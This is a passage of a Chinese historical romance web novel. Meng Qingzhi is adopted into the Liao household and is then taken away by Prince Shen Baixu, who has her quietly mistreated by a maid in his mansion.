“叫她先好生歇着,请贵客到我那里歇歇罢。”老太太说着,便有几个规整利落的婆子先去膳房通知备膳,几个丫鬟扶着老太太在前方引路,众人慢慢地踱步,孟清芷抬眼看去,见庭院外石碑上写着“倚澜轩”三个字。 进了正厅,老太太先坐了,先借着丫鬟锦绣的手饮了一盏茶,随后又笑着叫孟清芷坐了。 不等老太太吩咐,早有一位夫人款款上前来,拉着孟清芷的手,泫然欲泣,口中直说着:“多谢救命恩人。” 这位大夫人便是廖家二小姐廖文瑶的母亲汪氏,听她完整讲了一遍来龙去脉,孟清芷才搞懂究竟发生了什么。 原来前几日乃廖文瑶出嫁之日,夫婿是京城中的御史孙家。朔城离京城有两三座城远,廖家本已加强了护卫人员,却不料真有胆大妄为之徒劫了喜轿。 廖文瑶瞅准机会逃了出来,但孤身一人在外,不知道回去的路,加上深夜寒风侵体,一时间晕倒在路边,直到被孟清芷和萧声所救。 汪氏一边哭一边后怕,她简直不敢想,若是廖文瑶没有遇到孟清芷,再晚一会儿被别人发现,还不知道会发生何事。 “二小姐可还好?”孟清芷不知道如何安慰她,只得转移话题。 汪氏擦着眼泪点点头:“只是受了些惊吓,着了些风寒,不妨事。”说完,又把那千恩万谢的话说了数遍。 老太太对着汪氏使了个眼神,汪氏会意,退下坐到一边。老太太方才徐徐询问孟清芷身世。 孟清芷倒没觉得有什么该藏着的,便实言相告:“家中务农,父母兄弟已失散,如今民女是随着师父一起走南闯北,靠着护送货物过活。” 老太太听了直皱眉:“女孩子家的,且别说一直在外抛头露面不好,若是有危险,就更了不得了。” 因此一叠声叫钱管家来,过了一炷香的功夫,却是一个衣着富丽、面容清秀的年轻男子走进来,行礼后,上前几步,对着老太太耳语几句。 老太太的眉头当即便皱了起来,随后又看向孟清芷,几番犹豫,终究还是说道:“我孙儿说,他亲自带人去请你那师父,却不料他已经走了。” “走了?”孟清芷下意识地站起身来,面色茫然又惊恐。 “姑娘别急,已经遣人去寻了。”年轻男子忙宽慰道:“成衣铺的周掌柜说,核对完棉衣数量,他忽然便走了,暂无人知晓去了何处。” “还请老太太帮忙,遣人将民女送回郾城去。”孟清芷草草行礼道:“如今民女孤身一人,唯有师父相依为命,不能就此断了联系,还请老太太开恩。” 众人都没料到如此突然,皆面面相觑,最后还是年轻男子开口道:“姑娘莫慌,如今城中混乱,老太太也怕姑娘重蹈覆辙,不如我先遣人去郾城递个信,若是你师父回去了,再安排人送你也不迟。” 孟清芷尚在犹豫间,老太太已经笑道:“是了,还是你想得周到。”又回头安慰道:“这是我孙儿,他安排一向妥当,你兀要慌张,左不过两三日,郾城那边想必就会有消息来的。” 孟清芷当真等了两日,这几日,廖府简直将她奉为座上宾,殷勤备至,可她心中总是隐隐不安,也未曾真的享受到什么。 果然,第三日她再去问询,老太太犹豫片刻,还是直接告诉了她。 “孟姑娘,文海前几日去郾城探听了消息,甚至问到了你们的住处,未曾有你师父的下落。” 见她神情恍惚,老太太又安慰道:“文海已经通知了刘财主家,预备着好好寻一寻。这几日你就暂且待在廖府,我们家是必然不会亏待你的。” 孟清芷虽心里急,可终究还是无处可去,只好在廖府住下来。闲时便去看看才恢复了些的廖文瑶,两人年龄相仿,性情相投,没过几日便形影不离起来。 这一日,廖府上下气氛都有些沉重,孟清芷才到廖文瑶住的梅云轩,便听到里面传来一阵断断续续的抽泣声,连带着大夫人汪氏一行哭一行劝慰的声音。 孟清芷顿住脚步,转过身来,才要回自己住的宜兰园去,便撞见廖文海在不远处站着,她不便直接走,便上前行了个礼。 “大公子。”她轻声说。 “可都听见了?”廖文海神色沉痛,站直了身体望向梅云轩内:“孙家欺人太甚,已经迫不及待递来了一纸休书。” 孟清芷讶然,随即又反应过来,必然是孙家 以廖文瑶大婚当日被劫为由,说她婚前失贞。 这样的事在这样的时代层出不穷,孟清芷倒不觉得意外。 只是亲眼见到,难免还是有些愤慨,她不禁脱口而出:“孙家此举也算是名正言顺,只不过此时提出来,未免太卑鄙了些。寻常人家一般会缓些日子,只是这样难免会误了廖小姐的下一个好姻缘。” 她语气一转,又说道:“其实廖家这般家底,无需烦忧廖小姐的终身大事,她就算在府上留一辈子,只要廖家不嫌弃,旁人敢说什么。” 廖文海倒没想到她会说这样的话,一时间有些晃神,随即脱口而出:“我自然是不嫌弃的,可……” “可世俗会嫌弃,世人会说闲话,对么?”孟清芷转头看向他,笑了笑:“世人的闲言碎语算得了什么,人一生的安身立命之本全在自己,其余的都不用在意。” 廖文海看她的眼神多了几分考究:“姑娘年纪轻轻,倒颇有大家风范。” 孟清芷浅笑一声:“这有什么,大公子实在谬赞了。” 此时,丫鬟小水急匆匆跑来,叫廖文海进去商议了。孟清芷回到宜兰园没多久,便听到消息传来,说廖家已经利落地退了孙家的婚事,连带着将聘礼都退了回去。还放出话去,说廖文瑶在廖家就算蹉跎一生,廖家也养得起。 孟清芷由衷为廖文瑶感到开心,同时也忍不住为自己感到深深担忧——萧声还是没有寻到。 经过这些时日的相处,她早就察觉到萧声身上有诸多秘密,只不过从来不对她讲。她也只是装糊涂,安心享受他带来的便利而已,如今他一走了之,她才意识到自己根本离不开他,所以才会慌了神。 惴惴不安了只一日,老太太遣人将她叫了去,笑吟吟地说道:“你是我廖家的救命恩人,前几日孙家退婚一事,你也有帮着出主意,我老太婆没有别的本事,只有的是银子钱,能养你一辈子。” 老太太向来说话直,孟清芷却没料到她这样直接,怔怔地望过去,老太太笑道:“就依文海的意思,如若你不嫌弃,就认我老太婆做祖母,我便也认下你这个干孙女。” 孟清芷环顾四周看了一眼,见大夫人汪氏和二夫人李氏,并大房长孙廖文海都在,个个都是喜气洋洋的神色,不见半分抵触。 耳畔传来老太太的声音:“不必理会他们,这件事我老婆子就能做主。” 汪氏无奈笑道:“老太太说的这是哪里的话,我们岂有个不乐意的?早就等着老太太发话罢了。” 廖文海也在一旁笑道:“昨儿个孙儿就回了大老爷,他那厢也是极乐意的,还怪孙儿为何不早些提这话呢。” 他想了想,又补充道:“文瑶也是高兴的,只不过这几日还在为婚事一事烦心,今日便没有过来。” 一片善意催促声中,孟清芷难得红了脸。 她虽于廖家有恩,但也没想到他们会做到这一步,寻常人家不过是给点银钱就罢了。 眼下她确实深陷困境,无从脱身,投靠廖家,是最稳妥的方法。 深吸一口气,她抬起头来,冲着老太太微微一笑。 “孙女孟清芷,此厢见过祖母。” 9. 第 9 章 自从认了廖家老太太做祖母后,孟清芷除了每日担心萧声,日夜想着同林霄霄相聚,旁的再也没了什么心思,每日里就是陪着老太太和大夫人吃饭喝茶,也会陪着廖文瑶在廖府上下行走散心,日子过得倒也潇洒。 廖家老太太生了两个儿子,大老爷廖仲恺育有一儿一女,分别是廖文海和廖文瑶。二老爷廖仲则育有一儿,便是家里的三公子廖文川,前几日秋试放榜中了解元,已经进京赴任去了。 老太太似乎对儿孙进京城一事情有独钟,两个儿子没能进去,她便开始狠抓孙辈。廖文海诗书上不算很通,但极擅长打理家事,如今廖家经营的布纺、染坊和茶叶庄,都是他在操持。 而廖家老太爷已去世多年,廖家对他的谈论不多,孟清芷也不便多问。 今日一早,廖仲恺被老太太叫到房里去,谈了一会子话,说来说去无非就是廖文海的婚事。 “老二家里无需操心,文川眼见着中了解元,京城里有不少好人家想着做亲,只是文海这厢也该紧着张罗了。” “母亲说的是。”廖仲恺点点头:“前几日儿子已经物色了几家,午膳过了,便叫了文海来看一看就是了。” 晚膳时,孟清芷才到了老太太院子,便发现气氛有些不对。老太太似乎有些不耐,廖文海也是一副心事重重的样子。 用完膳,廖文瑶心里藏不住话,早就过去问了兄长为何满面忧愁。 “无妨。”廖文海勉强笑道。 晚膳后,丫鬟锦绣掌灯,老太太又留大老爷叙话。一番难堪的沉默后,老太太开口道:“还是这样,人家好端端的姑娘,他一个都相不中?” “是儿子给他惯坏了。”廖仲恺无奈道:“明日骂他一顿。” 老太太也叹气:“又何必做到这份上,男女姻缘本就讲究一个缘字,强逼着自然是不成的。” 廖仲恺见老太太松了口,忙跟着说是,随即又补充道:“只是,文海这一次的样子,似乎是有了心上人的,只不过还不好说。” “那敢情好。”老太太精神一振,忙道:“赶紧问问,是哪家的孩子。” 又教导:“若是小门小户的出身,也不要太过看轻了人家,只要出身清白,人品模样儿也好,都不是不能考虑。” 廖仲恺一一答应了。 天色已晚,园中四处掌灯,只见白日里轮廓分明的亭台楼阁,如今被夜色模糊了,只剩影影绰绰的朦胧。 孟清芷陪着廖文瑶兄妹两个到了梅云轩,先送了廖文瑶回去,再往宜兰园去。 廖文海笑道:“我送你回去。” 孟清芷本想说身后都有打着灯的婆子丫鬟们,不必劳烦,想了想,又担心辜负了他一番好意,便笑着道:“那就有劳兄长。” 不知为何,听到“兄长”二字,孟清芷察觉到廖文海的神色半青半白,似乎有些不受用。 果然,下一瞬便听到他开口道:“不必这般客套,兄长二字,在长辈面前叫一叫便好,私下里无需如此。” 孟清芷不知道他为何这样说,若是不称兄长,难道直唤名姓? “其实,我早已有些后悔了。”廖文海没头没脑地说了一句,又顿住口,难堪到双耳通红,好在夜间看不清,没被孟清芷发觉。 “嗯?后悔?何事?”孟清芷不解。 廖文海沉默了许久,本想着缓几日再说,又想着近几日祖母和父亲催逼,他又不想着再拖下去了,便直接开口:“是你认干亲一事。” 孟清芷顿住脚步,转过身看向他,虽未言说,但眼神中都是疑惑不解。 “我不想与你做干亲。”他鼓足勇气说出这句话,心中闪过近几日与她相处时的点滴,心中更加百感交集。 这样久了,他也曾物色过不少女子,可惜没有一个像孟清芷这般清丽脱俗的人物,能够瞬间抓住他的心。 起先,他是为了留下她,才顺着老太太的意思劝她认干亲。可又过了些日子,那些蠢蠢欲动的心思按压不住,他苦于不能明说,心中实在煎熬。 近几日廖仲恺催他,他便隐约提起自己已有中意之人,只不过那女子家世贫困,廖仲恺无法,也只说须先问问老太太的意思。 眼下老太太的意思还不清楚,就这样问了她,会不会太突兀?他无暇去想这些,只知道自己已经等不及了。 孟清芷听到一声清晰的问话:“你愿不愿意同廖家结成姻亲?” 她瞬间僵直了脊背,艰难地挤出一个笑容来:“兄长,这话是何意?” 廖家三公子廖文川才进京,廖文海口中的联姻对象大概率不会是他,那么这句话指谁,可想而知。 孟清芷想过自己的任何一种结局,但唯独不能接受的是在一个陌生时代,稀里糊涂地嫁人生子。 因此,她下意识地摇摇头笑道:“兄长莫要开这种玩笑。” 无论如何,做廖家干亲都比做媳妇儿来的好些。 她见廖文海没有反应,便快步向前走去,前面没有多远就是她住的宜兰园了。 “等一下。”她的衣袖冷不丁被廖文海抓住,整个人如同被绊住脚的猎物,动都动不得。 “我是认真的,并非开玩笑。”他神色庄严肃穆:“你本就是我廖家的救命恩人,若是我去和老太太、老爷开口,他们未必不会答应。” “你只要说一句你愿意,剩下的事交给我就好。”廖文海满心以为她是顾念廖府家大业大,不会接受她这个出身寒微的媳妇。 说完这句话,他的手已经不由自主地摸到了她的手,只要她开口,只怕他下一刻便会忍不住吻上去。 “兄长,兹事体大,并非你我二人做主即可定夺。”孟清芷不动声色地挪开手臂,放缓了语速:“更何况,我如今还没有嫁人的想法。” “对不住,冒犯了兄长,还请见谅。”她极其客气地说完这几句话,行了个简单的礼,随即大步走开,消失在夜色中,独留廖文海一人呆愣在原地。 深夜,倚澜轩才吹了灯,便有人来寻老太太,锦绣犹豫再三,还是站在门外,敲了敲房门,得知老太太尚未睡着,这才引着那人进了房。 老太太最是憋不住事,连夜又叫了廖仲恺来,两人秘密商谈了许久,最后还是叹道:“若真如此,也只有随他去,总好过埋怨长辈。” 最后,老太太又吩咐道:“若如此,她的身世势必要调查清楚,免得有什么污点,影响整个廖府的名声。” 廖仲恺答应了,又补充道:“前几日,北辰王递了拜帖来,说许久未见您了,想要登门拜访,母亲见不见?”

老太太眼角泛起一抹嘲讽的笑意:“我这个表侄倒是乖觉,眼瞧着新帝未曾阻止文川进京考取功名,知道新帝对廖家没了诸般防备,自然这时候才想起来叙旧一事了。” 见廖仲恺依旧沉默,她在乌木椅的扶手上重重拍了一下:“见就见,他才几岁,我一个老婆子,难道还怕他不成?” 廖仲恺点头:“那儿子即刻去办。” 老太太又吩咐道:“你自己办,且莫要叫旁人知道。” 廖仲恺知道她心里对京城中涉及皇家之事仍有忌惮,便又是一番点头应允。 三日后,廖府上下好好布置了一番,说是预备着给廖文海谈亲事。孟清芷听见了,也不放在心上,她装病推懒,在宜兰园养了两日,直到第三日觉得风声没有像自己预想的那般传播,方才出门来。 一出门,便撞见正要来寻她的廖文瑶,两人挽着手散了会步,廖文瑶忽然叹了口气,随手揪了一只牡丹花,一片一片将花瓣扯下来扔在地上,自言自语般的说道:“其实我都知道,老太太还是急着将我嫁出去。” 说着便红了眼圈,又哽咽起来:“听说今日有从京城来的贵客,前几日便开始布置了。若非为了我的亲事,老太太何时与京城的达官显贵来往过?” 孟清芷并不觉得此事和廖文瑶有关,但顾念她正在敏感时期,便好言相劝道:“如今三公子考取功名,老太太即便往日不与京城中人往来,今后也会的,你莫要想太多,老太太绝无半点尽快将你嫁人的心思。” 好不容易劝住了廖文瑶,只见不远处锦绣快步走来,向两人行礼笑道:“老太太叫两位小姐到前头会客厅去。” “你瞧瞧。”廖文瑶当下便忍不住抱怨起来:“什么贵客,须得叫咱们深闺女子去作陪?一定是相看的人来了。”说着,又忍不住掉起眼泪来。 孟清芷看了锦绣一眼,锦绣人虽不大,却极其机灵,笑着挽住廖文瑶的手臂,柔声道:“我的好二小姐,老太太哪里舍得那么快便将你嫁出去,这次真是贵客,听说还与廖家有亲戚关系,只不过许多年未曾来往了,所以叫了大公子和两位小姐过去一同叙叙旧。” 孟清芷跟着笑道:“即便是真来了相看的人,也未必就一定看得中你。”开了这个玩笑,她伸出手去在廖文瑶背上轻轻掐了一下,廖文瑶红着眼睛撅着嘴向旁边躲了一躲,想想也真是无趣,便也难为情地笑了起来。 会客厅前,早有丫鬟打起帘子等候,孟清芷隐约听到里面交谈声,似乎十分愉悦,除了老太太朗声大笑的声音,还有一年轻男子侃侃而谈的声音,听起来有些耳熟。 孟清芷隐约觉得有些不对,可还没弄清楚这股不安来源于何处,脚步已经不由自主地迈了进去。 会客厅内,左手上首坐着一位白衣男子,姿容不俗,清俊儒雅,谈笑间神色淡然。听到身后动静,他回过头来,看到孟清芷的脸时,不禁眉心一跳。 孟清芷脸上精心准备好的笑意瞬间冷凝成冰,她僵着身体直直地看向眼前男子,一时间就连应有的客套都忘了,只觉身子一半在冰天雪地中,一半在炙热火焰下,两相冲击之下,人都有些眩晕了。 沈白叙很快便回过神来,站起身笑道:“这便是两位表侄女?侄儿早知廖家有一位小姐,那么另一位是?” 10. 第 10 章 孟清芷恍惚中行了礼,听着老太太笑语晏晏地同沈白叙解释她的来历。 沈白叙留神听着,忍不住啧啧称奇:“如此,当真是称呼一声女侠也不为过。” 老太太和孟清芷对了个眼神,孟清芷勉强笑道:“表叔谬赞了。” 沈白叙嘴角扬起一片弧度,似乎对她这声称呼新奇不已,随即又看向廖文海:“表侄已年逾二十,也该成亲了。” 廖文海神色一滞,才想开口,老太太已经抢先道:“莫说旁人,你如今多大了?不也是尚未娶亲。” “侄儿毕竟身涉皇室,再加上先帝驾崩不足三年,侄儿暂时无心娶亲。” 提起先帝来,气氛中多了一丝尴尬,老太太点点头,感叹道:“你这样说,倒也合情合理,只是先帝驾崩时,曾明令禁止旁人替他守孝,你与他又是兄弟同辈,更不必如此了。” 又指着廖文海笑道:“还不如和我这孙儿一样,直说天底下的小姐都瞧不上罢了!” 两人相对着笑起来,座下这三个人却面色各异,一个都笑不出来。 廖文海打心眼里怕老太太叫沈白叙帮着物色合适女子,届时有王爷亲自做媒,怕是他不答应也得答应,他看了孟清芷一眼,见她也是神色苍白,还以为她是替自己担心,又莫名多了几分欣喜。 廖文瑶见他们又提起婚事来,生怕火烧到自己身上,届时又要急急忙忙出嫁,经历过一次失败后,她早已无心于此,因此也显得心烦意乱。 孟清芷面色倒还算沉静,只是面色泛白,毫无血色。她双手在袖子里紧紧绞住绣帕,一言不发,内心飞快地想着对策。 廖家何时与沈家有亲戚关系?方才沈白叙的神色分明是认出了她,只不过没有当场发作罢了。眼下能救她的或许只有廖家四小姐这个身份,只要沈白叙不强行将她带走,她就装作没认出来他,想必看在老太太的面子上,他应当会收敛几分。 这样想着,心绪已经不知飞到了何处,不知两人又谈了些什么,只见沈白叙站起身来,毕恭毕敬行了一礼,开口道:“表姑母只说侄儿不娶亲,侄儿往日里确实眼高于顶,一直没遇到心仪之人,只是——” 孟清芷预感到了什么,仓皇看去,沈白叙回身瞥了她一眼,眼神中满是势在必得的自信。 身边所有声响都消失了,只余下沈白叙清朗悦耳的声音:“只是今日一瞧,这位孟小姐倒是极好。” 老太太的笑容凝固在脸上,廖文海更是忍不住飞快站起身来,廖文瑶神色慌张,与孟清芷面面相觑。 “小侄儿,这玩笑可开不得。”老太太板着脸,皱眉道:“你都二十出头的人了,还这般孩子气。” “侄儿没有说谎。”沈白叙坚持道:“方才一见这孟小姐,侄儿心里便有了主张,只不过顾念着叔侄亲情,一时间没有说出口,直到听闻孟小姐并非老太太亲孙女,这才斗胆开口,还望老太太成全侄儿一片痴心。” “表叔说笑了。”廖文海按捺不住,迫不及待地说道:“无论孟小姐是不是老太太亲生,她都是廖家四小姐,表叔这般直白,怕是会吓到她,也会吓着老太太的。” “听闻表叔向来不近女色,怎么今日一反常态,还是莫要开玩笑了。”廖文瑶见孟清芷面无人色,便也开口道。 “不知孟小姐是否愿意?”沈白叙竟然跳过两个人的问题,直直向孟清芷看过来。 孟清芷站起身来,竭力使自己保持冷静,用镇定平稳的声音回答道:“王爷莫要玩笑话,民女出身寒微哪里配得上。且不说唐突了王爷,老太太那厢也是过意不去的。” “出身寒微倒无妨,但姑娘身世有趣,本王倒是很有兴趣。”沈白叙收起笑意,转向老太太:“还请表姑母屏退他人,侄儿有话要说。” 老太太也神情严肃起来,她不顾廖文海等人反对,坚持叫他们先出去,屋内只剩他们三人,她方才看向沈白叙:“侄儿有什么话,但说无妨。” 沈白叙却不语,他面上的神情狡黠又悠然,似笑非笑地看向孟清芷,似乎在问她,要不要他将那些事情说出来。 “表姑母,孟小姐身世有趣,此事恐怕要由侄儿出手调查,才能真相大白。”沈白叙缓缓说道:“鉴于她此番确实于廖家有恩,侄儿不会公开具体情况,即便她真有问题,也不会污了廖家的名声。” “清芷。”老太太终究还是望过来,眼神复杂:“究竟是怎么一回事?” “老太太。”孟清芷露出无辜神色:“孙女不知表叔何意,也不愿就此离开廖家。孙女出身寒微不假,漂泊江湖半生,从来没有见过像您这样好的老人家,孙女情愿一生不嫁,留在您身边侍奉。” “表侄女。”沈白叙似乎早已料到这样的情况,他笑笑,站起身来,行至她面前,绕着她缓缓踱步一圈。 孟清芷禁不住闭上眼睛,汗毛倒竖。她不受控地闻见他身上淡淡的熏香味,这与军营中的味道并不一样,许是他已经退出战场了。 最后几步,沈白叙停住,悠然凑近,伸出手去,轻轻拂开她垂在肩上的碎发,语气轻柔似水:“若不接受这样客气的做法,那便是逼着本王发出拘捕令了。” “想必孟小姐也不想被廖家上下所有人看到自己披头散发、被官家五花大绑地丢上囚车吧?” 看到她手臂和肩颈都有细微的抖动,沈白叙没有再一味地催问,而是转过身去,冲着老太太笑了笑:“表姑母,侄儿猜着,四小姐应当是想通了。” “那她本人,侄儿就先带走了。” 中间的记忆仿佛缺失了,孟清芷只记得自己失魂落魄地扑上前去,求老太太留下自己,可不知沈白叙同老太太又说了些什么,竟由着沈白叙拉住她的手腕,一步步带到廖府门前马车处。 廖文海追上来时,孟清芷已经被沈白叙带上了马车,沈白叙掀开车帘一角,见到廖文海又急又气追上来的样子,心下了然,轻笑一声:“手段了得。” 也不知是自言自语,还是说给孟清芷听。 “王爷。”孟清芷虽神色惨白,但到底还算镇定,她已经极快地反应过来,轻声说道:“那夜是我行为过激,伤着了王爷,不如王爷还我一刀,就当报仇,从此恩怨一笔勾销,可好?” 沈白叙仍是饶有兴致地看着窗外闹市,仿佛没有听到孟清芷的话一般。 事情远比他想的有趣得多。 以前他为了寻她,耗费了许多精力,就连江城附近的一些山匪也被清剿干净,直到皇帝下令江城军回撤,他才勉强断了继续寻她的念头。 岂料,她竟然猝不及防地出现在廖家。 看起来很像巧合 ,但沈白叙有些不信。 廖家老太太乃圣祖皇帝表姐,即先帝表姑母。年轻时骄纵任性,婚事不听从父母安排,偏偏看上了与当时圣祖皇帝不合拍的廖家长子。 说是不合拍,其实严重些就是廖家站错了队,暗中支持圣祖皇帝的兄弟。 事情败露后,圣祖皇帝与这位表姐断绝关系,并将廖家上下满门抄斩,独留这廖家独子苟延残喘。 圣祖皇帝驾崩后,先帝对这位表姑母也没有任何好感,明里暗里打压廖家,不叫他们科考入仕。廖家老太太心中也是愤愤不平,虽是皇室出身,但到底几十年没有往来过,也从不允许旁人议论她的身世。 久而久之,她出身皇室一事,基本上已无人知晓。就连孙辈都不知道。 想到这里,沈白叙用余光扫了一眼孟清芷,不禁暗自忖度,她是知情还是不知。 看她神色慌张,真把半年前桀骜不驯的神色收敛了许多,他油然多了几分兴致,生出些猫逗弄老鼠的坏心思来,开口道:“表侄女这是什么话,此番进京,只是为了游山玩水、见见世面罢了,何尝有什么深仇大恨到了捅刀子的地步?” 孟清芷嘴唇微张,几番犹豫,也没能说出话来,她从他的眼神里看出他的狡黠和居心叵测,她清楚地猜到了他的用意远不在浅尝辄止的复仇。 他是要慢慢摧毁她的心理防线,一步步蚕食她的精神世界,待到最后她再无利用价值,就像被猫玩到奄奄一息的小鼠一样,被他一口咬死。 虽然他们从未共事过,但她有这样敏锐的识人术。 耳边响起没有节奏的嗡鸣声,孟清芷脸上的血色褪去,整个人摇摇欲坠,她缩着身子靠在马车壁上,无力地闭上了眼睛。 她多么希望此时萧声忽然出现,救她于水火之中。 即便是闭着眼睛,也能感受到沈白叙从外头收回了目光,转而落在她身上。 空气仿佛都变得凝固起来,分明已经到了隆冬时节,她身上却一阵一阵地发热,脸上也滚热,心中的不安仿佛随着呼吸喷洒而出,游离在空气之中,愈发浓郁。 她猛地睁开眼,对上沈白叙似笑非笑的目光,继续挣扎着说道:“王爷,表侄女那晚实非故意而为之,也并非公孙辞派来的卧底,还望王爷明察。” 沈白叙无奈地摇摇头,伸出食指竖在唇边,“嘘”了一声:“表侄女若是还认我这个表叔,就莫要旧事重提了。” 孟清芷只好咽下心中焦灼,闭上了眼睛。时间已经是黄昏时分,睡着睡着,周围天气冷了下来,她做了个噩梦,仓皇醒来,正好撞见黑夜中窥探的目光。 一阵声响过后,沈白叙在她手上放了一盏温热的茶,他关切的声音传来:“表侄女似乎有心事?方才见你睡着了,眉头都是紧皱的。” 孟清芷不知道他这般惺惺作态却是为何,又不好直接拆穿,只好回答道:“没什么心事,谢谢表叔关心。” 沈白叙还想问些什么,马车前壁传来规律的敲击声,他吩咐停下,只身出去。 外面郑玄策拉着马,见沈白叙出来,行礼后上前耳语了几句。 沈白叙点点头,不着痕迹地回头望了一眼,低声说道:“查。” 郑玄策应了一声便退下了,沈白叙眼神幽暗,一言不发地又回到了马车上。 11. 第 11 章 孟清芷不知是怎么熬到第二天清晨的,半睡半醒间,总觉得有一头恶狼在暗中窥视,准备随时对着她来一口。 轿子进了王府,孟清芷全程没有下轿,只知道进内院前换了一群婆子赶车,向外看去,王府四处规矩森严,规整有序,四处平整宽阔,与廖府小桥流水的风格截然不同。 要看已经完全进了沈白叙的地盘,她收回目光,等着他发作。 岂料,沈白叙命人将东院厢房收拾出来,安排她住,还给她派了两个丫鬟,一个梅儿,一个柳儿。 屋内是套间的布置,与京城里流行的样式并无二致。她目光略过屏风及床榻,又看向外间的桌椅,一切都是寻常模样,可心中却一直惴惴不安。 她几乎有两日没出过房门,两个丫鬟寸步不离,殷勤伺候,倒像是另一种别样的软禁了。 沈白叙也始终未曾来看过她,她既希望他不要过来,又担心他暗中憋着什么坏水,因此辗转难眠,睡梦里都是他那双阴险狡诈的桃花眼。 第三日,丫鬟梅儿依例送来晚膳,依旧是三荤两素一汤的配置,孟清芷拿起筷子,在那碟清炒白菜上面犹豫了片刻,随即又把其他菜品挨个闻了一遍。 原因无他,这盘白菜是馊的。 寒冬腊月,京城中最不缺的便是白菜,便是平民百姓都吃得起,孟清芷不信王府里会这般不小心,竟然能将白菜放到馊。 但只是一盘菜而已,不好发作,她也没多说什么,只吃了几口,便装作胃口不佳,叫梅儿收走了食盒。 第四日晚,送来的菜中赫然已有两盘是馊的。 孟清芷放下筷子,面含嘲讽,心下了然,这一定是沈白叙的恶趣味,想着看她闹起来,先给她安上一个不安分的罪名,或者有其他的目的,也未可知。 她忍着没有发作。 此时,南边书房里,郑玄策正将近几日查到的情况一一同沈白叙禀明。 “先是趁着公孙辞突袭伤了王爷,随即又能趁乱冲出军营。”郑玄策沉吟道:“有这般经历,此女子已十分不同寻常,更何况,从廖府之经历倒查下去,她与那鬼面神君也颇有蹊跷之处。” “据查,那鬼面神君武功高强,绝非等闲之辈,可为何心甘情愿同她一个女子在一处生活几个月,属下想不通。” “另外,廖家大公子已经派人递了数十封拜帖,言辞恳切,希望王爷尽快将她送回去。” “属下认为,王爷尽可放长线,不必限制她的行动,只暗中观察她与什么人有过往来,再顺着线索查下去,想必应当有收获。” 沈白叙盯着眼前与她有往来之人的画像,一张张翻看过去,见大多都是男子,不由得又想起昨日廖文海心急如焚追着马车的样子,冷笑一声。 有趣,当真是有趣极了。 “公孙辞一定花费了不少心思,才培养出这样的女子。”沈白叙沉吟片刻,开口道:“若不好好利用,岂不是浪费了。” 严冬已至,孟清芷穿着葱绿锦缎长袄,罩着狐皮银面披风,头戴一顶镶着金丝的兔皮小帽,越发显出那双水灵灵的眼睛和粉嫩的脸来。 她被梅儿从屋里半拖半拽地扯出来,梅儿直劝:“表小姐,你就出去散散心罢,这都几日了,一直闷在屋里,没得叫人笑话王府不会待客。” 孟清芷起初打定了主意不肯去,谁知道那沈白叙打的什么主意,她一上街,会不会就碰到什么突发情况,或是被人暗害,或是被人拐了去。怎奈梅儿当真是下死劲劝她,她只好答应了。 京城之富盛,自然比别处不同。男女老少衣着都更加光鲜,就连面上的神情也更加愉悦,仿佛天生的苦难就此别人少一些。 孟清芷毫无目的地闲逛,看似悠然,实际内心焦灼。她满心希望能遇到萧声,再趁机逃走,可直到逛了大半日,也没遇到一个熟人。 隆冬的风凛冽刺骨,她搓了搓手,只买了些护养皮肤的水润胭脂,便又随着马车回到王府。 在她未曾看到的地方,有一群人暗中出动,针对她驻足过的店铺和摊位一一排查,可实在一无所获,便只好回了郑玄策,郑玄策也如实回了沈白叙。 第五日,饭菜基本上都是馊的,孟清芷几乎一口饭都没动,她冷着脸,将梅儿唤进来,让她闻那饭菜。 梅儿脸色一变,一双杏眼露出惊慌无辜的神色,结结巴巴解释道:“表小姐,这一定是膳房惫懒,奴婢即刻去回王爷,好好惩罚那起子小人。” “不必了。”孟清芷半点都不想同沈白叙扯上什么关系,她冷声道:“遣人去膳房提一句便是,不必叫人知会王爷了。” 且说郑玄策才向沈白叙说完,沈白叙扬眉,似乎听到了什么有趣之事,半晌方才点头:“她倒是毫无错漏处。” “王爷若是想不通,不妨直接审问,一来她确实可疑,二来她也无什么靠山,即便审错了也无大碍。”郑玄策道,他一直有些不解,为何沈白叙花这样大的精力在一个女子身上。 沈白叙想了片刻,摇摇头,吩咐身边人把丫鬟梅儿叫到书房来。 …… 第六日,房中的炭火停了,孟清芷被京城的冬夜冻得半死,裹着被子打了一晚上的寒颤。 第七日,丫鬟柳儿不知去了哪里,只留下梅儿一个人侍奉,且神色淡漠,大有不耐之意。 第八日,冲突升级到了肢体接触,梅儿清晨端热水为她洗脸时,“不慎”将满盆热水倒在了她脚上。 “我要见王爷。”孟清芷忍无可忍地站起来:“偌大的王府,即便想要达成什么目的,也没必要用这样下三滥的手段来欺负人。” 梅儿只是口头上答应,可等到晚上,也未见沈白叙过来。 往后的两日,梅儿乖觉面貌下隐藏的心思愈发昭然若揭,除了打翻水盆这样的事,还有时不时不小心踩到、撞到孟清芷,有一次险些害得她摔倒。 最后一次,梅儿终于成 功了,孟清芷被她连人带手里端的东西一起撞翻在地,当倒在地上的痛楚和冰冷感袭来时,她才恍惚意识到,自己好像已经有十来日没有被当人对待过了。 不忍了。 孟清芷甩开想要搀扶她的梅儿的手,自己扶着地面站起身来,还未站稳,便是一个耳光狠狠甩了出去,声音清脆可闻。 梅儿没料到自己竟然会挨打,做王府丫鬟这几年,她也算是沈白叙跟前的红人,何曾受过这等委屈,当下便捂着脸嚎啕大哭起来。 孟清芷尚在气头上,冷声道:“既受了委屈,就抓紧去你主子那里诉苦,叫他过来替你做主。”言毕,转身回去,在榻上坐了。 她知道此举会激化矛盾,但她也知道,即便是她忍辱负重,沈白叙也绝不会放过她。 别说是一个王爷,就是普通百姓,也没几人能忍得下那一刀之仇。 即便是他主动招惹在先。 梅儿委委屈屈出门去,面见沈白叙后,哭哭啼啼地诉说了委屈,却见他一脸有兴趣的模样,半点没有为她打抱不平的意思,她心下酸楚,回来的路上忍不住又掉了几滴泪。 在王府做沈白叙的贴身丫鬟已有三年,人人都道她花容月貌,又是冰雪聪明,沈白叙一定会抬举她做个妾室。她见沈白叙平日里也是温柔相待,自觉自己的地位和其他丫鬟不一样,因此也早就存了些旁的心思。 可今日她听沈白叙的吩咐做事,被外面来的这个什么表小姐打了,沈白叙没有第一时间为她出头,她心里自然不好受,索性在外头浪荡了一会子,方才慢悠悠到东院厢房来。 才一进门,便听到了沈白叙的声音。 心中一沉,她在外头站了,听到里面传来他清晰的问话声。 “本王的人,表侄女想打便打了?” “表叔大可以问问她之前做了什么才惹来挨打这个下场。”孟清芷的声音不卑不亢:“表侄女并非无理取闹之人。” 